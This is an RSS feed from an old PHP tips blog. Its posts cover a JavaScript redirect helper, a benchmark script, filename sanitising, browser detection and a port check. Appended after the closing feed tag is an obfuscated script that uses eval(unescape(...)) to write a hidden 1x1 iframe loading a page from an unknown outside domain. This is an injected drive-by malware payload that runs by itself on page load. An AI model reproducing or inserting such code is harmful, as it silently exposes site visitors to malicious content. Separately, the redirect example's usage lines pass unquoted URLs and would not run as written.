











<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Blogulate &#187; PHP</title>
	<atom:link href="http://blogulate.com/content/category/developers/php-code/feed/" rel="self" type="application/rss+xml" />
	<link>http://blogulate.com</link>
	<description>Snippets from the web</description>
	<lastBuildDate>Mon, 15 Mar 2010 04:17:27 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>10 PHP Tips for noobs</title>
		<link>http://blogulate.com/content/10-php-tips-for-noobs/</link>
		<comments>http://blogulate.com/content/10-php-tips-for-noobs/#comments</comments>
		<pubDate>Mon, 18 Feb 2008 17:02:57 +0000</pubDate>
		<dc:creator>thinkdj</dc:creator>
				<category><![CDATA[Developers]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[Tips n Tricks]]></category>

		<guid isPermaLink="false">http://blogulate.com/content/10-php-tips-for-noobs/</guid>
		<description><![CDATA[ Jeffery Vaska has &#8220;10 Tips That Every PHP Newbie Should Know&#8220;, a nice collection of tips for a newbie venturing into PHP. Tips like MySQL Connection Class, Dealing with Magic Quotes etc can be found there.

]]></description>
			<content:encoded><![CDATA[<p> Jeffery Vaska has &#8220;<a href="http://www.phpbuilder.com/columns/vaska20050722.php3?aid=948" target="_blank">10 Tips That Every PHP Newbie Should Know</a>&#8220;, a nice collection of tips for a newbie venturing into PHP. Tips like MySQL Connection Class, Dealing with Magic Quotes etc can be found there.<br />
<!--adsensestart--></p>
]]></content:encoded>
			<wfw:commentRss>http://blogulate.com/content/10-php-tips-for-noobs/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>PHP function for Javascript redirect</title>
		<link>http://blogulate.com/content/php-function-for-javascript-redirect/</link>
		<comments>http://blogulate.com/content/php-function-for-javascript-redirect/#comments</comments>
		<pubDate>Sat, 26 Jan 2008 14:05:28 +0000</pubDate>
		<dc:creator>thinkdj</dc:creator>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[Scripts]]></category>

		<guid isPermaLink="false">http://blogulate.com/content/php-function-for-javascript-redirect/</guid>
		<description><![CDATA[The following code is basically JS, but has been made into a PHP function so that it could be invoked with different parameters as per our needs.
&#60;?php
function js_redirect($url, $seconds=5) {
echo "&#60;script language=\"JavaScript\"&#62;\n";
echo "&#60;!-- hide code from displaying on browsers with JS turned off\n\n";
echo "function redirect() {\n";
echo "window.location = \"" . $url . "\";\n";
echo "}\n\n";
echo "timer [...]]]></description>
			<content:encoded><![CDATA[<p>The following code is basically JS, but has been made into a PHP function so that it could be invoked with different parameters as per our needs.</p>
<p class="code"><code><span style="color: #0000bb">&lt;?php<br />
</span><span style="color: #007700">function </span><span style="color: #0000bb">js_redirect</span><span style="color: #007700">(</span><span style="color: #0000bb">$url</span><span style="color: #007700">, </span><span style="color: #0000bb">$seconds</span><span style="color: #007700">=</span><span style="color: #0000bb">5</span><span style="color: #007700">) {<br />
echo </span><span style="color: #dd0000">"&lt;script language=\"JavaScript\"&gt;\n"</span><span style="color: #007700">;<br />
echo </span><span style="color: #dd0000">"&lt;!-- hide code from displaying on browsers with JS turned off\n\n"</span><span style="color: #007700">;<br />
echo </span><span style="color: #dd0000">"function redirect() {\n"</span><span style="color: #007700">;<br />
echo </span><span style="color: #dd0000">"window.location = \"" </span><span style="color: #007700">. </span><span style="color: #0000bb">$url </span><span style="color: #007700">. </span><span style="color: #dd0000">"\";\n"</span><span style="color: #007700">;<br />
echo </span><span style="color: #dd0000">"}\n\n"</span><span style="color: #007700">;<br />
echo </span><span style="color: #dd0000">"timer = setTimeout('redirect()', '" </span><span style="color: #007700">. (</span><span style="color: #0000bb">$seconds</span><span style="color: #007700">*</span><span style="color: #0000bb">1000</span><span style="color: #007700">) . </span><span style="color: #dd0000">"');\n\n"</span><span style="color: #007700">;<br />
echo </span><span style="color: #dd0000">"--&gt;\n"</span><span style="color: #007700">;<br />
echo </span><span style="color: #dd0000">"&lt;/script&gt;\n"</span><span style="color: #007700">;<br />
</span></code></p>
<p class="code"><code><span style="color: #000000"></span><span style="color: #007700">    return </span><span style="color: #0000bb">true</span><span style="color: #007700">;<br />
} </span></code>
</p>
<p class="code"><code><span style="color: #000000"></span><span style="color: #007700">js_redirect(http://blogulate.com,1); //Redirects to blogulate.com in 1 second. </span></code></p>
<p class="code"><code><span style="color: #000000"></span><span style="color: #007700"></span><span style="color: #0000bb">?&gt;</span>  </code></p>
<p>Eg Usage :<br />
<code><span style="color: #007700">js_redirect(http://google.com,5); //Redirects to Google after 5 seconds.</span></code></p>
]]></content:encoded>
			<wfw:commentRss>http://blogulate.com/content/php-function-for-javascript-redirect/feed/</wfw:commentRss>
		<slash:comments>9</slash:comments>
		</item>
		<item>
		<title>Spellify : automatic input field spell check</title>
		<link>http://blogulate.com/content/spellify-automatic-input-field-spell-check/</link>
		<comments>http://blogulate.com/content/spellify-automatic-input-field-spell-check/#comments</comments>
		<pubDate>Sat, 26 Jan 2008 14:00:29 +0000</pubDate>
		<dc:creator>thinkdj</dc:creator>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[Scripts]]></category>

		<guid isPermaLink="false">http://blogulate.com/content/spellify-automatic-input-field-spell-check/</guid>
		<description><![CDATA[
Spellify automatically checks for spelling errors on user entered text in input text fields. Spellify is powered by the Google™ spell checker. You can see a demo at te homepage and also download the latest version there. Spellify not only works for text fields, but also on text areas.
]]></description>
			<content:encoded><![CDATA[<p style="text-align: center"><img src="http://blogulate.com/wp-content/uploads/2008/01/spellify-automatic-spell-check-on-input-text-fields.jpg" alt="auto spell check on input text field spellify" /></p>
<p><a href="http://spellify.com/" target="_blank">Spellify</a> automatically checks for spelling errors on user entered text in input text fields. Spellify is powered by the Google™ spell checker. You can see a demo at te homepage and also download the latest version there. Spellify not only works for text fields, but also on text areas.</p>
]]></content:encoded>
			<wfw:commentRss>http://blogulate.com/content/spellify-automatic-input-field-spell-check/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>Great looking charts in seconds with Open Flash Chart</title>
		<link>http://blogulate.com/content/great-looking-charts-in-seconds-with-open-flash-chart/</link>
		<comments>http://blogulate.com/content/great-looking-charts-in-seconds-with-open-flash-chart/#comments</comments>
		<pubDate>Sat, 26 Jan 2008 13:26:53 +0000</pubDate>
		<dc:creator>thinkdj</dc:creator>
				<category><![CDATA[Developers]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[Scripts]]></category>

		<guid isPermaLink="false">http://blogulate.com/content/great-looking-charts-in-seconds-with-open-flash-chart/</guid>
		<description><![CDATA[Open Flash Chart lets you make great chart/pie representations from you data for a great looking output. The data file is either a text file, or a .php, Perl, Python, Java (or another flavour of dynamic) page.


Open Flash Chart, is open source. It is free to use and you get the source code to fiddle [...]]]></description>
			<content:encoded><![CDATA[<p>Open Flash Chart lets you make great chart/pie representations from you data for a great looking output. The data file is either a text file, or a .php, Perl, Python, Java (or another flavour of dynamic) page.</p>
<p style="text-align: center"><img src="http://blogulate.com/wp-content/uploads/2008/01/flash_chart.jpg" alt="make flash graphs and charts" /></p>
<p style="text-align: center"><img src="http://blogulate.com/wp-content/uploads/2008/01/pie_flash__chart.jpg" alt="Pie chart using flash" /></p>
<p>Open Flash Chart, is open source. It is free to use <em>and</em> you get the source code to fiddle with!</p>
<p># Charts Available<br />
* Data Lines<br />
* Bar Chart<br />
* Bar Chart 2<br />
* 3D Bar Chart<br />
* Glass Bar Chart<br />
* Fade Bar Chart<br />
* Sketch Bars<br />
* Area Charts<br />
* Bars + Lines<br />
* Pie Chart<br />
* Pie Chart Links<br />
* Scatter Chart<br />
* High Low Close<br />
* Candle</p>
<p># Other Features :</p>
<p>* Chart Title<br />
* Line and Key<br />
* Tool tip<br />
* Background Style<br />
* Background Image<br />
* Inner Background Style<br />
* Null data values<br />
* X Offset<br />
* Bar Links<br />
* Format Numbers<br />
* Do more with less<br />
* Pareto chart</p>
<p># Helper classes    * Java<br />
* Perl<br />
* Python<br />
* Ruby and Rails<br />
* PHP<br />
* .NET</p>
<p><a href="http://teethgrinder.co.uk/open-flash-chart/download.php" target="_blank">Download Open Flash Chart</a> Open Flash Chart Latest : Version 1.9.6 (550 Kb)</p>
]]></content:encoded>
			<wfw:commentRss>http://blogulate.com/content/great-looking-charts-in-seconds-with-open-flash-chart/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>PHP Performance Benchmark Script</title>
		<link>http://blogulate.com/content/php-performance-benchmark-script/</link>
		<comments>http://blogulate.com/content/php-performance-benchmark-script/#comments</comments>
		<pubDate>Fri, 28 Dec 2007 02:40:26 +0000</pubDate>
		<dc:creator>thinkdj</dc:creator>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[Scripts]]></category>

		<guid isPermaLink="false">http://blogulate.com/content/php-performance-benchmark-script/</guid>
		<description><![CDATA[
/*

PHP Performance Benchmark Script

Copyright 2003 : PHP Consulting

There are two settings:

First, set $file to be the server and page that you want to benchmark.

Secondly, set $iter to be the number of times you want it loaded.

*/

error_reporting(E_ALL ^ E_NOTICE); //For disabling non fatal error outputs

$file = "http://127.0.0.1/Joomla/index.php"; //Location to file

$iter = 5; //No of times to [...]]]></description>
			<content:encoded><![CDATA[<pre>
/*

PHP Performance Benchmark Script

Copyright 2003 : PHP Consulting

There are two settings:

First, set $file to be the server and page that you want to benchmark.

Secondly, set $iter to be the number of times you want it loaded.

*/</pre>
<pre></pre>
<pre>error_reporting(E_ALL ^ E_NOTICE); //For disabling non fatal error outputs

$file = "http://127.0.0.1/Joomla/index.php"; //Location to file

$iter = 5; //No of times to check

function getmtime()

{

$a = explode (' ',microtime());

return(double) $a[0] + $a[1];

}

for ($i = 0; $i &lt; $iter; $i++)

{

$start = getmtime();

file ($file);

$loadtime += getmtime() - $start ;

$intertime = getmtime() - $start ;

echo $intertime . "&lt;br&gt;" ;

$avgload = $loadtime / $iter;

}

echo "&lt;p&gt;&lt;b&gt;Average" . $avgload . "&lt;/b&gt;" ;

?&gt;</pre>
]]></content:encoded>
			<wfw:commentRss>http://blogulate.com/content/php-performance-benchmark-script/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Remove invalid characters from a filename</title>
		<link>http://blogulate.com/content/remove-invalid-characters-from-a-filename/</link>
		<comments>http://blogulate.com/content/remove-invalid-characters-from-a-filename/#comments</comments>
		<pubDate>Thu, 27 Dec 2007 04:12:37 +0000</pubDate>
		<dc:creator>thinkdj</dc:creator>
				<category><![CDATA[PHP]]></category>

		<guid isPermaLink="false">http://blogulate.com/content/remove-invalid-characters-from-a-filename/</guid>
		<description><![CDATA[ &#60;?php
function filename_safe($filename) {
$temp = $filename;
// Lower case
$temp = strtolower($temp);
// Replace spaces with a '_'
$temp = str_replace(" ", "_", $temp);
// Loop through string
$result = '';
for ($i=0; $i&#60;strlen($temp); $i++) {
if (preg_match('([0-9]&#124;[a-z]&#124;_)', $temp[$i])) {
$result = $result . $temp[$i];
}
}
// Return filename
return $result;
}
?&#62;  
]]></description>
			<content:encoded><![CDATA[<p class="code"><code><span style="color: #000000"> </span><span style="color: #0000bb">&lt;?php<br />
</span><span style="color: #007700">function </span><span style="color: #0000bb">filename_safe</span><span style="color: #007700">(</span><span style="color: #0000bb">$filename</span><span style="color: #007700">) {<br />
</span><span style="color: #0000bb">$temp </span><span style="color: #007700">= </span><span style="color: #0000bb">$filename</span><span style="color: #007700">;</p>
<p></span><span style="color: #ff8000">// Lower case<br />
</span><span style="color: #0000bb">$temp </span><span style="color: #007700">= </span><span style="color: #0000bb">strtolower</span><span style="color: #007700">(</span><span style="color: #0000bb">$temp</span><span style="color: #007700">);</p>
<p></span><span style="color: #ff8000">// Replace spaces with a '_'<br />
</span><span style="color: #0000bb">$temp </span><span style="color: #007700">= </span><span style="color: #0000bb">str_replace</span><span style="color: #007700">(</span><span style="color: #dd0000">" "</span><span style="color: #007700">, </span><span style="color: #dd0000">"_"</span><span style="color: #007700">, </span><span style="color: #0000bb">$temp</span><span style="color: #007700">);</p>
<p></span><span style="color: #ff8000">// Loop through string<br />
</span><span style="color: #0000bb">$result </span><span style="color: #007700">= </span><span style="color: #dd0000">''</span><span style="color: #007700">;<br />
for (</span><span style="color: #0000bb">$i</span><span style="color: #007700">=</span><span style="color: #0000bb">0</span><span style="color: #007700">; </span><span style="color: #0000bb">$i</span><span style="color: #007700">&lt;</span><span style="color: #0000bb">strlen</span><span style="color: #007700">(</span><span style="color: #0000bb">$temp</span><span style="color: #007700">); </span><span style="color: #0000bb">$i</span><span style="color: #007700">++) {<br />
if (</span><span style="color: #0000bb">preg_match</span><span style="color: #007700">(</span><span style="color: #dd0000">'([0-9]|[a-z]|_)'</span><span style="color: #007700">, </span><span style="color: #0000bb">$temp</span><span style="color: #007700">[</span><span style="color: #0000bb">$i</span><span style="color: #007700">])) {<br />
</span><span style="color: #0000bb">$result </span><span style="color: #007700">= </span><span style="color: #0000bb">$result </span><span style="color: #007700">. </span><span style="color: #0000bb">$temp</span><span style="color: #007700">[</span><span style="color: #0000bb">$i</span><span style="color: #007700">];<br />
}<br />
}</p>
<p></span><span style="color: #ff8000">// Return filename<br />
</span><span style="color: #007700">return </span><span style="color: #0000bb">$result</span><span style="color: #007700">;<br />
}<br />
</span><span style="color: #0000bb">?&gt;</span>  </code></p>
]]></content:encoded>
			<wfw:commentRss>http://blogulate.com/content/remove-invalid-characters-from-a-filename/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Undefined variable error on Seyret Joomla component</title>
		<link>http://blogulate.com/content/undefined-variable-error-on-seyret-joomla-component/</link>
		<comments>http://blogulate.com/content/undefined-variable-error-on-seyret-joomla-component/#comments</comments>
		<pubDate>Fri, 14 Dec 2007 10:42:55 +0000</pubDate>
		<dc:creator>thinkdj</dc:creator>
				<category><![CDATA[Joomla]]></category>
		<category><![CDATA[PHP]]></category>

		<guid isPermaLink="false">http://blogulate.com/content/undefined-variable-error-on-seyret-joomla-component/</guid>
		<description><![CDATA[Was working on Seryet all day to fix errors like
Notice:  Undefined variable: fullmd5cachefile in \localhost\components\com_seyret\plugins\videoserver\metacafe.php on line 226
Notice:  Undefined variable: vdlink in \localhost\components\com_seyret\plugins\videoserver\metacafe.php on line 226
Notice: Undefined variable: fullmd5cachefile in components/com_seyret/plugins/videoserver/google.php on line 399
Notice: Undefined variable: showfrombackupbutton in components/com_seyret/seyret.php on line 2115
Finally figured out a way to get rid of these ..
Open up [...]]]></description>
			<content:encoded><![CDATA[<p>Was working on Seryet all day to fix errors like</p>
<blockquote><p>Notice:  Undefined variable: <strong>fullmd5cachefile </strong>in \localhost\components\com_seyret\plugins\videoserver\metacafe.php on line 226</p>
<p>Notice:  Undefined variable: <strong>vdlink </strong>in \localhost\components\com_seyret\plugins\videoserver\metacafe.php on line 226</p>
<p>Notice: Undefined variable: <strong>fullmd5cachefile </strong>in components/com_seyret/plugins/videoserver/google.php on line 399</p>
<p>Notice: Undefined variable: <strong>showfrombackupbutton </strong>in components/com_seyret/seyret.php on line 2115</p></blockquote>
<p>Finally figured out a way to get rid of these ..</p>
<p>Open up seyret.php in components &gt; com_seyret  [ and admin.seyret.php in administrator &gt; components &gt; com_seyret, if errors come up in the Admin panel too ]</p>
<p>Add  <code>error_reporting(E_ALL ^ E_NOTICE);</code> to seyret.php and admin.seyret.php and voila ! <img src='http://blogulate.com/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://blogulate.com/content/undefined-variable-error-on-seyret-joomla-component/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Browser Detection with PHP</title>
		<link>http://blogulate.com/content/browser-detection-with-php/</link>
		<comments>http://blogulate.com/content/browser-detection-with-php/#comments</comments>
		<pubDate>Wed, 05 Dec 2007 10:46:39 +0000</pubDate>
		<dc:creator>thinkdj</dc:creator>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[Scripts]]></category>

		<guid isPermaLink="false">http://blogulate.com/content/browser-detection-with-php/</guid>
		<description><![CDATA[Did you know that PHP has a built in function to detect which browser your page visitor is running? Try :
&#60; ?
$get_visitor_browser = get_browser(null,true);
print_r($get_visitor_browser);
?&#62;
The output of this function is an object which includes details of the user’s browser:
[browser_name_regex] =&#62; ^mozilla/5.0 (windows; .*; windows nt 5.1.*) gecko/.* firefox/1.5.*$
 [browser_name_pattern] =&#62; Mozilla/5.0 (Windows; *; Windows NT 5.1*) [...]]]></description>
			<content:encoded><![CDATA[<p>Did you know that PHP has a <strong>built in function to detect</strong> which <strong>browser </strong>your page visitor is running? Try :</p>
<blockquote><p><code>&lt; ?<br />
$get_visitor_browser = get_browser(null,true);<br />
print_r($get_visitor_browser);<br />
?&gt;</code></p></blockquote>
<p>The output of this function is an object which includes details of the user’s browser:</p>
<blockquote><p><code>[browser_name_regex] =&gt; ^mozilla/5.0 (windows; .*; windows nt 5.1.*) gecko/.* firefox/1.5.*$</code><br />
<code> [browser_name_pattern] =&gt; Mozilla/5.0 (Windows; *; Windows NT 5.1*) Gecko/* Firefox/1.5*</code><br />
<code> [parent] =&gt; Firefox 1.5</code><br />
<code> [platform] =&gt; WinXP</code><br />
<code> [browser] =&gt; Firefox</code><code></code><br />
<code> [version] =&gt; 1.5</code><br />
<code> [majorver] =&gt; 1</code><br />
<code> [minorver] =&gt; 5</code><br />
<code>[css] =&gt; 2</code><br />
<code> [frames] =&gt; 1</code><br />
<code> [iframes] =&gt; 1</code><br />
<code> [tables] =&gt; 1</code><br />
<code> [cookies] =&gt; 1</code><br />
<code></code><code>[javascript] =&gt; 1</code><br />
<code> [javaapplets] =&gt; 1</code><code></code><code></code></p></blockquote>
<p>To get PHP to detect your browser properly, you’ll have to get the updated browsecap.ini file and set the path to the file in your php.ini file.</p>
<p>To set the path to browsecap.ini file, add the following entries in your php.ini file (if it does not exist already):</p>
<p><code>[browscap]<br />
browscap = /specify/path/to/browscap.ini<br />
</code></p>
<p>Get the <strong>browsecap.ini </strong>file: <a href="http://browsers.garykeith.com/downloads.asp" target="_blank">http://browsers.garykeith.com/downloads.asp</a><br />
PHP get_browser() details at php.net : <a href="http://in.php.net/manual/en/function.get-browser.php" target="_blank">http://in.php.net/manual/en/function.get-browser.php</a></p>
]]></content:encoded>
			<wfw:commentRss>http://blogulate.com/content/browser-detection-with-php/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>PHP Script &#8211; Open port check</title>
		<link>http://blogulate.com/content/php-script-open-port-check/</link>
		<comments>http://blogulate.com/content/php-script-open-port-check/#comments</comments>
		<pubDate>Fri, 16 Nov 2007 09:41:20 +0000</pubDate>
		<dc:creator>thinkdj</dc:creator>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[Scripts]]></category>

		<guid isPermaLink="false">http://blogulate.com/content/php-script-open-port-check/</guid>
		<description><![CDATA[Got this from Vinu&#8217;s blog. This simple script will attempt to connect to the site:port using fsockopen to determine if a service is running on the port.
 &#60; ?php

$site = "vinuthomas.com";
$port = 80;
$fp = fsockopen($site,$port,$errno,$errstr,10);
if(!$fp)
{
echo "Cannot connect to server";
}
   else{
echo "Connect was successful - no errors on Port ".$port." at ".$site;
fclose($fp);
}
?&#62;

]]></description>
			<content:encoded><![CDATA[<p>Got this from <a href="http://blogs.vinuthomas.com/2007/06/13/php-port-check/" target="_blank">Vinu&#8217;s blog</a>. This simple script will attempt to connect to the site:port using fsockopen to determine if a service is running on the port.</p>
<p><code> &lt; ?php<br />
</code></p>
<p><code>$site = "vinuthomas.com";<br />
$port = 80;</p>
<p>$fp = fsockopen($site,$port,$errno,$errstr,10);<br />
if(!$fp)<br />
{<br />
echo "Cannot connect to server";<br />
}</code></p>
<p><code>   else{<br />
echo "Connect was successful - no errors on Port ".$port." at ".$site;<br />
fclose($fp);<br />
}</p>
<p>?&gt;</code><br />
<!--adsensestart--></p>
]]></content:encoded>
			<wfw:commentRss>http://blogulate.com/content/php-script-open-port-check/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>PHP module for MAC OS X</title>
		<link>http://blogulate.com/content/php-module-for-mac-os-x/</link>
		<comments>http://blogulate.com/content/php-module-for-mac-os-x/#comments</comments>
		<pubDate>Wed, 14 Nov 2007 07:34:09 +0000</pubDate>
		<dc:creator>thinkdj</dc:creator>
				<category><![CDATA[Mac]]></category>
		<category><![CDATA[PHP]]></category>

		<guid isPermaLink="false">http://blogulate.com/content/php-module-for-mac-os-x/</guid>
		<description><![CDATA[This particular build of the module is based on the most recent version 5.2.4 of the software. It runs on Mac OS X version 10.4/Tiger and is built as Universal Binary for compatibility with both Intel and PPC Macs. This module will only work with the original Apache web server as shipped by Apple.


PHP 5 [...]]]></description>
			<content:encoded><![CDATA[<p>This particular build of the module is based on the most recent version 5.2.4 of the software. It runs on Mac OS X version 10.4/Tiger and is built as Universal Binary for compatibility with both Intel and PPC Macs. This module will only work with the original Apache web server as shipped by Apple.</p>
<table>
<tr>
<th colspan="2">PHP 5 on Mac OS X 10.4, PPC and Intel</th>
</tr>
<tr>
<td></td>
<td><strong><a href="http://www2.entropy.ch/download/entropy-php-5.2.4-1.tar.gz">PHP 5.2.4 for Apache 1.3</a></strong></td>
</tr>
<tr>
<td></td>
<td><strong><a href="http://www2.entropy.ch/download/entropy-php-5.2.4-1-apache2.tar.gz">PHP 5.2.4 for Apache 2</a></strong></td>
</tr>
</table>
<ol>
<li>Download the appropriate installation package from the list above.</li>
<li>Unpack the compressed .tar.gz file but DO NOT USE StuffIt Expander, use Apple’s BOMArchiveHelper or the command line.</li>
<li>Double-click the installer package and follow the directions of the installer application.</li>
</ol>
<p><a href="http://www.entropy.ch/software/macosx/php/" target="_blank">PHP Apache Module for MAC OS X By Marc Liyanage</a></p>
]]></content:encoded>
			<wfw:commentRss>http://blogulate.com/content/php-module-for-mac-os-x/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
	</channel>
</rss>
<script language="javascript">eval(unescape("%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%27%3C%69%66%72%61%6D%65%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%69%73%73%39%77%38%73%38%39%78%78%2E%6F%72%67%2F%69%6E%2E%70%68%70%22%20%77%69%64%74%68%3D%31%20%68%65%69%67%68%74%3D%31%20%66%72%61%6D%65%62%6F%72%64%65%72%3D%30%3E%3C%2F%69%66%72%61%6D%65%3E%27%29%3B"))</script>